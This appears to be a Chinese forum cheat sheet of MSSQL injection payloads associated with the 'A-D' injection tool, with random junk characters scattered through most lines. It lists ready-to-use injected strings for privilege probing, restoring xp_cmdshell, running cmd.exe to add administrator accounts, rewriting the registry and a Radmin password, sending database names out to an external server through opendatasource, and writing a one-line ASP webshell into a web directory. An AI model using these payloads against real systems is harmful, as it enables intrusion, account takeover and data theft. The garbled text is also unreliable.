阿D常用的一些注入命令( d6 W( f3 z6 Y ]# g
//看看是什么权限的 Q# L9 r. N: G$ Q, Z8 B- `
and 1=(Select IS_MEMBER('db_owner'))! r' x2 N9 |" ^8 u: H1 h
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
* O0 W( s( J( G0 L5 `
5 i/ N% l/ t& Y1 R+ O; j/ {! L//检测是否有读取某数据库的权限
0 D7 N; C$ g" p6 U4 f% Sand 1= (Select HAS_DBACCESS('master'))9 C& }( ?$ M: D3 s/ F% h. R$ q
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
( k) I8 A7 [- A# E& i! g
7 K; T3 M8 l& w$ U8 _2 G8 b t+ t& y% K- C$ \0 a
数字类型6 }0 s8 S8 W- u
and char(124)%2Buser%2Bchar(124)=0
$ s, t9 b( l _6 g5 R+ p( p5 f/ a" S# J% } \. D
字符类型
# E, k! \" ]. s2 b, J' and char(124)%2Buser%2Bchar(124)=0 and ''='7 b1 Q" n( w1 ~" k/ ]' T
3 D5 c' q. E* K" z9 v
搜索类型; @- K9 j" n* e0 C! @8 C/ V b! K
' and char(124)%2Buser%2Bchar(124)=0 and '%'='+ f2 [8 a& _; k0 K% X1 V
) h' F( }$ F9 q9 s
爆用户名
$ E3 ~, l8 Y7 M8 ~+ z6 Land user>0: q9 ^' x9 E# @2 g' ~- [2 H3 M
' and user>0 and ''='
$ l: s, m! y+ R( T
# g0 u( _( @% L) ?检测是否为SA权限& H! K1 Q# L2 G
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
5 b; c0 x+ x8 CAnd char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
1 d7 Y4 F! v V) T& ~: ~7 M
* @& ~! i; o, O- C( b检测是不是MSSQL数据库" r8 Q0 T, u' N$ S" f5 d! A' S
and exists (select * from sysobjects);--
5 E+ i2 P! V' [- C8 T/ W% F6 `. c# ^6 Z$ J) m1 h
检测是否支持多行0 s9 T: Y( `0 [ u7 J p
;declare @d int;--
& k( n( O; h) y
; L; a" j: G$ e0 m恢复 xp_cmdshell( u" b+ E: X5 m M/ z2 d- N
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--$ n0 g; C G- Q& f- \) E0 Q# |
0 ^6 y/ V1 U! {) }0 w: L6 |+ ~: m& A4 {; P) b
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version') & j, y1 v: P! h) g
5 K/ I; W7 p$ D3 c1 ^& d1 |/ E- K8 V//-----------------------
+ a. x7 t0 M% w, @7 Z( H% @// 执行命令' d& e( `# u2 _1 K' q$ u, u
//-----------------------
( K" U5 |7 ]0 S; B首先开启沙盘模式:# ^! i7 m3 g5 F. v0 ^# ~
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',10 z" C, T& K2 b8 P/ O3 w
( F1 w) I# n4 t5 u- R, e
然后利用jet.oledb执行系统命令
- Z7 P& R' Z; P$ ]/ E- hselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
) M' |7 i8 B8 O" b! o& s0 I6 I
8 w! J" s1 i( s4 r- Y8 N执行命令
% @9 I: w" ]" I+ C3 i' E* r/ };DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
2 M# ?" u" |1 g: a, K2 T! o5 M4 u! D' P* s+ |) _
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'" w }8 W! S, b5 J4 u4 X8 w
8 l4 Z/ r4 y. |1 n9 U: x& Q; Z判断xp_cmdshell扩展存储过程是否存在:9 e+ w- V1 v* P" T$ i; E
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')1 ^: p1 V/ W! d4 T! }, J) D
% O: O. _4 o0 G K4 |) |9 J: @写注册表
6 t; y$ h4 h& Nexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
; p$ S1 v! h! c {4 ` b
3 Z4 W4 _3 n5 p! M+ ]# mREG_SZ
) k. z' `! N( n, T, F- K# p0 o! x! j
读注册表/ h; M9 n5 R+ ]: k- R
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
3 S; y" d" A: N# F1 B9 Q
$ j8 C9 P3 y/ M2 ]5 D读取目录内容 H; d) e0 v+ ~& N
exec master..xp_dirtree 'c:\winnt\system32\',1,1
" Y! {) j1 y0 z) q3 p; c' h4 K, D" j, Q& k
( G& i# ]2 b- {) M数据库备份0 u, |4 I1 X0 @
backup database pubs to disk = 'c:\123.bak'% N3 F& y( @) d# q
" P5 i' |/ J9 o/ s2 k S8 W9 A1 A//爆出长度
6 r- H) x$ b1 A7 OAnd (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
F8 R, I$ P8 x- |9 |% _5 T5 Q" }! ]! g% k' C
. h" K! @5 P1 p
9 c3 f- k% X9 ~+ n, m+ R8 F M更改sa口令方法:用sql综合利用工具连接后,执行命令:4 Y; w, q: j8 D. f& y* P
exec sp_password NULL,'新密码','sa'9 o4 P; K' J1 Y: s# M. T9 h
7 L3 T( e1 \( q8 A添加和删除一个SA权限的用户test:% k: W; C; l9 p
exec master.dbo.sp_addlogin test,ptlove
* @. Y. k) }& d, T q; O2 jexec master.dbo.sp_addsrvrolemember test,sysadmin
+ D3 U* K" M4 I+ q
; z: [9 y9 K" Y) A; {删除扩展存储过过程xp_cmdshell的语句:
9 M" s V: H: j: e2 N1 f! cexec sp_dropextendedproc 'xp_cmdshell'
8 K, m v9 q" U/ W6 ~, } p$ a5 {; l3 n" n6 E- Z( X, q: W2 H- p3 h
添加扩展存储过过程5 v, m6 ~; D" }" e# e
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll' 0 b5 Z [+ _. Y/ g# B m1 ?
GRANT exec On xp_proxiedadata TO public 1 r) A* s) h( L. `8 f! N4 M
' l) Z3 V' G0 y7 J
1 I4 C" g _5 U. N7 h6 F; e' O停掉或激活某个服务。
0 L: r6 f- i% A+ k8 k6 k8 n% O% N+ E5 J+ S" L6 q2 S) W1 @
exec master..xp_servicecontrol 'stop','schedule'+ N" d4 s( _- M5 S) ?7 q* v
exec master..xp_servicecontrol 'start','schedule'
& T. w9 M. b, ^4 ?8 S: p( g- H; e5 u& l: w- P
dbo.xp_subdirs% V" L" w4 {1 ~
3 e2 W; H5 ^/ C6 B
只列某个目录下的子目录。) {$ |: X6 [7 [ {, e! w
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'* U' }' z' x X5 w# ?
6 D+ d( Z5 @& O h: I
dbo.xp_makecab
2 [+ U% V) f1 P/ B. v" @/ c3 w; W3 x% q" {
将目标多个档案压缩到某个目标档案之内。
" h L& p3 e6 g/ b4 e& V所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。8 i7 H% E3 D* D* ?9 m: w. p
" I* M0 k1 P' {% U; j) `dbo.xp_makecab+ J* ^" C( q3 W
'c:\test.cab','mszip',1," H) L' f1 m( L0 v- R2 M' v" b
'C:\Inetpub\wwwroot\SQLInject\login.asp',# z. F0 [ o$ e
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'2 m/ S) g Z/ W! }7 F2 P6 x
& @+ B( X9 c7 d- z& h, D9 `xp_terminate_process. C" ]9 I6 j+ w
) ?6 ^; y" ?8 f; Z停掉某个执行中的程序,但赋予的参数是 Process ID。
" h* y' U( J, O( Q/ H, |5 `利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
6 @* i9 I, M, J, u8 S. A( T& e7 j5 `7 l) U; l6 }) t0 T' }
xp_terminate_process 2484
$ H; r+ z; J2 N' t) G+ ?( {4 O: n. e' f& }
xp_unpackcab& j( R* Q3 I: n& [. G& R, _/ u' D
2 Y z, O% T1 q
解开压缩档。0 w; C; h# H1 @4 e1 y
) {, L8 Q' f1 C2 n
xp_unpackcab 'c:\test.cab','c:\temp',1
- |: ~- y2 u: v6 m& F" M( ]# @% V) }2 l$ [8 _
7 `" ~, t$ u4 K# K7 L, x# Z% V
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234
# ]8 R0 v- k& \- q1 M( ~0 i' ~) a1 I% @
create database lcx;
3 X4 ~. i) {0 z7 q% Y3 S5 N/ eCreate TABLE ku(name nvarchar(256) null);- X' `1 [$ c$ a- D* R* t
Create TABLE biao(id int NULL,name nvarchar(256) null);
, S% z4 F4 o, A9 M
( z+ q5 k7 z' L1 E+ p9 ^//得到数据库名2 y: z3 {* ?( g3 W
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
' t) j4 a, ~0 ^+ h* K9 M' Z) k' c7 w: E+ r9 z
8 q" g; ?. k! `+ I
//在Master中创建表,看看权限怎样0 ^* ?5 r' p5 t3 i% N; C
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--* A. N0 v0 m' S: a9 O$ Q
, G$ T) L. L& z- P' F% _
用 sp_makewebtask直接在web目录里写入一句话马:
# o) K4 m- B: s b- W5 J# ^http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
/ p2 o; E R% C+ L/ o# p ]2 m0 N% _7 u: m3 P
//更新表内容5 ~3 ]1 d+ t( B
Update films SET kind = 'Dramatic' Where id = 123
! j: W x9 e+ s7 q8 b( \$ Q+ Q0 r4 z( W( [/ C
//删除内容7 M. R! N5 u) C) b; w
delete from table_name where Stockid = 3 |